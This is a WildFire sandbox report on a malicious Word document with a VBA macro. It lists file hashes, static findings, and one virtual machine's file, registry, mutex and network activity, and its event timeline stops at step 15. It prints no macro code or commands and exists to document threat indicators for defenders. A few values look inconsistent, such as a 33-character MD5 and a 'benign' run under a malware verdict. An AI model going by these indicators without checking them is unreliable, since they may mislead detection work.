WildFire Analysis Report

1 File Information

File Type	Microsoft Word 97 - 2003 Document
File Signer	
SHA-256	04cccd63fc818819073dc3532e6b02ed7200298d9e4f28ebadddca568876e475
SHA-1	1f0f2e8341d43a2bd9a111101e5eb3631a168836
MD5	9f74ff3c3bae65403401dcf075eaee92
File Size	61952bytes
First Seen Timestamp	2017-12-11 08:10:11 UTC
Verdict	Malware
Antivirus Coverage	VirusTotal Information

2 Macro Properties

This file contained the following macro which received a verdict.

SHA-256	Verdict
678dcf53112ea4cc53f48a3f5fe63e4bbfe57b7ba34d9873a0b1e9b5f3b94056	Malware

3 Static Analysis

3.1. Suspicious File Properties

This file was statically analyzed and the table below lists the suspicious items that were found. The presence of these suspicious items caused the sample to be further analyzed in the virtual machine sandbox configurations listed in the tabs below.

CDF document contains a macro

A macro is a script executed as part of the containing document. Macros are typically written in VBA (Visual Basic for Applications) and often used in Microsoft Word documents and Microsoft Excel spreadsheets. Macros are a common vector for exploiting vulnerabilities in Microsoft Office applications.

CDF document contains an embedded file

Images, documents, Flash media, and other files can be embedded in CDF documents for inline display and playback. Files embedded in this way are a common vector for exploiting vulnerabilities in Microsoft Office applications and application plug-ins.

The sample has known malicious VBA

The VBA in this file has been previously analyzed and has been found to be malicious.

4 Dynamic Analysis

4.1. VM1 (Windows XP, Adobe Reader 9.4.0, Flash 10, Office 2007)

4.1.1. Behavioral Summary

This sample was found to be **benign** on this virtual machine.

Behavior	Severity
Created or modified a file in the Windows system folder The Windows system folder contains configuration files and executables that control the underlying functions of the system. Malware often modifies the contents of this folder to manipulate the system, establish persistence, and avoid detection.	
Created or modified a file Legitimate software creates or modifies files to preserve data across system restarts. Malware may create or modify files to deliver malicious payloads or maintain persistence on a system.	
Modified the Windows Registry The Windows Registry houses system configuration settings and options, including information about installed applications, services, and drivers. Malware often modifies registry data to establish persistence on the system and avoid detection.	

4.1.2. Network Activity

DNS Queries

Domain Name	Query Type	DNS Response
time.windows.com	A	13.65.88.161
akadns.net	NS	a9-128.akadns.net

Connections

Host	Port	Protocol	Country
13.65.88.161	123	UDP	US

4.1.3. Host Activity

Process Activity

Process Name - WINWORD.EXE

(command: C:\Program Files\Microsoft Office\Office12\WINWORD.EXE)

File Activity

File	Action	Size(B)	File Type	Hash

C:\Documents and Settings\Administrator\Application Data\Microsoft\Templates\~$Normal.dotm	Create	162	unknown	md5:ba84f21e9a5f30715586f3f81bba3fda sha1:e5f75ee3ed59b63146cf7eea490314da539c5798 sha256:6fba9b3736c9977d9c6d7521aac36cbef8a250504bd07fd35319e7e998a87ef1
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.Word\~WRS{15704B66-BFA2-44F1-A8E9-2E114E5A82A2}.tmp	Create	1024	unknown	md5:5d4d94ee7e06bbb0af9584119797b23a sha1:dbb111419c704f116efa8e72471dd83e86e49677 sha256:4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1
C:\Documents and Settings\Administrator\Application Data\Microsoft\Word\STARTUP\~$c_hook.dotm	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.Word\~WRF{203A73D4-DDBA-4DF4-AAF7-035A9A829E69}.tmp	Create	98304	msoffice	md5:879147296328011121207e653dc1d338f sha1:09ff69ee05fc35d2a67363da5a7d0a9055a030f4 sha256:ecbb85bdae6249e105813225156daace7a9cbc640c196fef84c9f6c5bb643ce2
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.Word\~WRS{1DFD4BA6-7280-4285-8E16-E2C144FFE56E}.tmp	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Documents and Settings\Administrator\Local Settings\Temp\~DFA428.tmp	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
c:\documents and settings\administrator\~$navwomhut.doc	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.Word\~WRS{79E75B4F-4B3B-4D10-AF4B-6992EE253F07}.tmp	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Documents and Settings\Administrator\Application Data\Microsoft\Office\Recent\xbnavwomhut.LNK	Create	633	unknown	md5:2f57534ddb3245849a3a9720b683d131 sha1:93ad471a097ace4608de07c5abd646bf9db5fab8 sha256:5faef6f2a0035aa3095bb9d617694e7ed2d29c4732bba2a7cc2685d94154e3e1
C:\Documents and Settings\Administrator\Application Data\Microsoft\Office\Recent\Administrator.LNK	Create	501	unknown	md5:9ca203f0feeca57b423e5bd32255cebe sha1:1cdc2db2e8b2edce6d3175f5e27093a9b100e9d1 sha256:a62596aa258361a291fd96b817c83ae79ad11ad7174f57c8c9b889a3d92e2226
C:\Documents and Settings\Administrator\Application Data\Microsoft\UProof\CUSTOM.DIC	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A

C:\Documents and Settings\Administrator\Local Settings\Temp\~DFA428.tmp	Delete	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Documents and Settings\Administrator\Application Data\Microsoft\Word\STARTUP\~$c_hook.dotm	Delete	162	unknown	md5:D5ECECCA49EEB823F3774F49AE7F02FE sha1:a33fa08118de12864f16e9cbbeee06d3b43f2799 sha256:0E689A992FDACD975A6B59E8BF13AC31E7AD43B761247CE17DA7EC73937A7577
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.Word\~WRS{1DFD4BA6-7280-4285-8E16-E2C144FFE56E}.tmp	Delete	1024	unknown	md5:5D4D94EE7E06BBB0AF9584119797B23A sha1:dbb111419c704f116efa8e72471dd83e86e49677 sha256:4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

Registry Activity

Registry Key	Value	Action
HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Common\LanguageResources\EnabledLanguages		Create
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\LanguageResources\EnabledLanguages		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Common\Migration\Office		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Common\Migration\Word		Create
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage		Create
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders		Create
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders		Create
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders		Create
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders		Create
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5462fe44-8f32-11e7-9fce-806d6172696f}\		Create
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5462fe43-8f32-11e7-9fce-806d6172696f}\		Create
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{824de890-de85-11e7-95b5-6002924f2438}\		Create
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{946eb570-907b-11e7-9580-806d6172696f}\		Create
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\G		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline		Create

\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Offline\Files		Create
HKEY_CURRENT_USER\Software\Microsoft\VBA\6.0\Common		Create
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\DeviceClasses		Create
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\Licensing		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Registration		Create
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Registration\FIZOOGS25278242\{91120000-0014-0000-0000-0000000FF1CE}		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Common		Create
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\ReviewCycle		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\DocumentRecovery		Create
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Resiliency\DocumentRecovery\91A52F		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Smart Tag\Actions\{16A933D2-A296-49D5-96FC-C7C2DAEE88B4}		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Smart Tag\Actions\{3CC385AC-95CC-4A75-BF35-AB36AE645BCF}		Create
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Recognizers\{64AB6C69-B40E-40AF-9B7F-F5687B48E2B6}\urn:schemas-microsoft-com:office:smarttags#stockticker		Create
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Recognizers\{64AB6C69-B40E-40AF-9B7F-F5687B48E2B6}\urn:schemas-microsoft-com:office:smarttags#phone		Create
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Recognizers\{64AB6C69-B40E-40AF-9B7F-F5687B48E2B6}\urn:schemas-microsoft-com:office:smarttags#date		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Smart Tag\Applications\OpusApp		Create
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100A0C00000000000F01FEC\Usage		Create
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage		Create
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100C0400000000000F01FEC\Usage		Create
HKEY_CURRENT_USER\Software\Microsoft\Shared Tools\Proofing Tools\1.0\Custom Dictionaries		Create
HKEY_CURRENT_USER\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033		Create
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Option Set 0		Create
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Option Set 1		Create
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\Toolbars\Settings		Create

HKEY_CURRENT_USER\Software\Microsoft\Web Service Providers		Create
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems\q#7	NULL	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\LanguageResources\EnabledLanguages\1033	Off	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\LanguageResources\EnabledLanguages\1033	On	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles	1267400708	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\ProductFiles	1267400707	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\ProductFiles	1267400708	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\AppData	C:\Documents and Settings\Administrator\Application Data	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common AppData	C:\Documents and Settings\All Users\Application Data	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\MTTT	NULL	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\EXCELFiles	1267400706	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems\l'7	NULL	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Desktop	C:\Documents and Settings\Administrator\Desktop	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5462fe44-8f32-11e7-9fce-806d6172696f}\BaseClass	Drive	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5462fe43-8f32-11e7-9fce-806d6172696f}\BaseClass	Drive	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{824de890-de85-11e7-95b5-6002924f2438}\BaseClass	Drive	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{946eb570-907b-11e7-9580-806d6172696f}\BaseClass	Drive	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\G\BaseClass	Drive	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personal	C:\Documents and Settings\Administrator\My Documents	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Documents	C:\Documents and Settings\All Users\Documents	Set

\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Desktop	C:\Documents and Settings\All Users\Desktop	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache	C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Local AppData	C:\Documents and Settings\Administrator\Local Settings\Application Data	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems\"+7	NULL	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems\1+7	NULL	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\VBAFiles	1267400705	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles	1267400709	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles	1267400710	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles	1267400712	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles	1267400715	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles	1267400717	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles	1267400719	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles	1267400721	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\Licensing\0638C49DBB8B4CD1B191051E8F325736	NULL	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems\=47	NULL	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\ReviewCycle\ReviewToken	{9B796BA1-F745-4405-8719-DF65235B6E5B}	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 1	[F00000000][T01D37257CD845780]*c:\documents and settings\administrator\sample.doc	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 2	[F00000000][T01D366252980B400]*C:\Documents and Settings\Administrator\My Documents\hNOjsTJju.doc	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 3	[F00000000][T01D3648B8D6F7500]*C:\Documents and Settings\Administrator\My Documents\AEbVwF3ce.doc	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 4	[F00000000][T01D364793FEA0C80]*C:\Documents and Settings\Administrator\My Documents\zFEVLg.docm	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 5	[F00000000][T01D362F311DAC000]*C:\Documents and Settings\Administrator\My Documents\Kdv.docx	Set

\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 6	[F00000000][T01D35EBBD0DE4800]*C:\Documents and Settings\Administrator\My Documents\P3mi.docm	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 7	[F00000000][T01D35C3E62D91D00]*C:\Documents and Settings\Administrator\My Documents\9V2wLck.docm	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Resiliency\DocumentRecovery\91A52F\91A52F	NULL	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Start Menu	C:\Documents and Settings\Administrator\Start Menu	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Start Menu	C:\Documents and Settings\All Users\Start Menu	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\My Pictures	C:\Documents and Settings\Administrator\My Documents\My Pictures	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\CommonPictures	C:\Documents and Settings\All Users\Documents\My Pictures	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\CommonMusic	C:\Documents and Settings\All Users\Documents\My Music	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\CommonVideo	C:\Documents and Settings\All Users\Documents\My Videos	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Actions\{16A933D2-A296-49D5-96FC-C7C2DAEE88B4}\		Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Actions\{16A933D2-A296-49D5-96FC-C7C2DAEE88B4}\filename	C:\PROGRA~1\COMMON~1\MICROS~1\SMARTT~1\LISTS\BASMLA.XSL	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Actions\{3CC385AC-95CC-4A75-BF35-AB36AE645BCF}\		Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Recognizers\{64AB6C69-B40E-40AF-9B7F-F5687B48E2B6}\urn:schemas-microsoft-com:office:smarttags#stockticker\OpusApp	1	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Recognizers\{64AB6C69-B40E-40AF-9B7F-F5687B48E2B6}\urn:schemas-microsoft-com:office:smarttags#phone\OpusApp	1	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Recognizers\{64AB6C69-B40E-40AF-9B7F-F5687B48E2B6}\urn:schemas-microsoft-com:office:smarttags#date\XLMAIN	1	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\migratedBitValues	NULL	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Applications\OpusApp\FriendlyName	Microsoft Word 12.0	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Applications\OpusApp\Save	NULL	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Applications\OpusApp\ShowButtons	NULL	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Applications\OpusApp\ShowIndicators	NULL	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100A0C00000000000F01FEC\Usage\SpellingAndGrammarFiles_3082	1267400705	Set

\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100A0C000000000000F01FEC\Usage\SpellingAndGrammarFiles_3082	1267400706	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100A0C000000000000F01FEC\Usage\SpellingAndGrammarFiles_3082	1267400707	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400706	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400707	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400708	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036	1267400705	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036	1267400706	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\1.0\Custom Dictionaries\1	CUSTOM.DIC	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036	1267400707	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036	1267400708	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\1.0\Custom Dictionaries\UpdateComplete	1	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400709	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400710	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400711	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400712	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Options Version	1	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Option Set 0\Name	Grammar & Style	Set

\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Option Set 0\Data	NULL	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Option Set 1\Name	Grammar Only	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Option Set 1\Data	NULL	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\Toolbars\Settings\Microsoft Office Word	NULL	Set
\REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Data\Settings	NULL	Set

Created Mutexes

Mutex Name
<NULL>
Global\MTX_MSO_Formal1_S-1-5-21-515967899-776561741-1417001333-500
Global\MTX_MSO_AdHoc1_S-1-5-21-515967899-776561741-1417001333-500

Event Timeline

1 Created Process C:\Program Files\Microsoft Office\Office12\WINWORD.EXE

2 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems\q#7 to value NULL

3 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\LanguageResources\EnabledLanguages\1033 to value Off

4 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\LanguageResources\EnabledLanguages\1033 to value On

5 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles to value 1267400708

6 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\ProductFiles to value 1267400707

7 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\ProductFiles to value 1267400708

8 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\AppData to value C:\Documents and Settings\Administrator\Application Data

9 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common AppData to value C:\Documents and Settings\All Users\Application Data

10 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\MTTT to value NULL

11 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\EXCELFiles to value 1267400706

12 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems\l'7 to value NULL

13 Created file C:\Documents and Settings\Administrator\Application Data\Microsoft\Templates\~$Normal.dotm

14 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Desktop to value C:\Documents and Settings\Administrator\Desktop

15	Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5462fe44-8f32-11e7-9fce-806d6172696f}\BaseClass to value Drive
